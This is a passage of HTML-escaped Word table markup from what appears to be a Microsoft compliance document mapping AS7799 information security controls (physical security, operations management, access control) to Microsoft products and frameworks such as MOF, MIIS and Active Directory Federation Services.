&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 4; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Physical and Environmental Security&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l8 level1 lfo3"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Protecting against external and environmental threats (9.1.4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l8 level1 lfo3"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Supporting utilities (A.7.2.2/9.2.2)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Ensuring that physical and environmental issues do not impact the availability of information is a key control issue with AS7799. Microsoft Operating Systems provide several technologies to assist in meeting the physical security requirements of AS7799. &lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 5; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Communications and Operations Management&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Change management (A.8.1.2/10.1.2)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Capacity management (A.8.2.1/10.3.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Controls against malicious code (A.8.3.1/10.4.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Information back-up (A.8.4.1/10.5.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Audit logging (A.9.7.1/10.10.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Monitoring system use (A.9.7.2/10.10.2)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Administrator and operator logs (A.8.4.2/10.10.4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l9 level1 lfo5"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Fault logging (A.8.4.3/10.10.5)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;To assist in planning for effective operational support, Microsoft has published the Microsoft Operations Framework (MOF) that provides guidance on key operational procedures referred to in AS7799 – including change control, incident management and capacity planning. MOF also allows for the introduction of a risk management discipline for operations; something that is fundamental to AS 7799.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Adoption of MOF provides organisations with guidance, knowledge and practical implementation details applicable to many of the Communications and Operations Management control objectives.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft also provides tools such as the Windows AntiSpyware and Malicious Software Tools that protect PCs from spyware and other forms of malicious code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 6; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Access Control&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Privilege management (A.9.2.2/11.2.2) &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;User password management (A.9.2.311.2.3)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Review of User Access Rights (A.9.2.4/11.2.4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Password use (A.9.3.1/11.3.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;User identification and authentication (A.9.5.3/11.5.2)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Password management system (A.9.5.4/11.5.3) &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l11 level1 lfo6"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Information access restriction (A.9.6.1/11.6.1)&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Microsoft solutions have always included the ability to allocate different access levels to meet different organisational access security requirements, which is a key concept incorporated in AS7799. &lt;SPAN style="mso-bidi-font-style: italic"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;Microsoft solutions such as Microsoft Identity Integration Server (MIIS) provide organisations with a unified view of all known identity information about users, applications and network resources, simplifying their identity management problems.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-style: italic"&gt;Active Directory Federation Services enables the sharing of identities across traditional security boundaries using ‘TrustBridge’ technologies that embrace Web Services Security (WS-Security) and other WS standards.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-prop-change: 'Jodie Siganto' 20050119T1647; mso-yfti-irow: 7; page-break-inside: avoid"&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: navy 1pt solid; WIDTH: 31.82%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="31%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Access Control&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
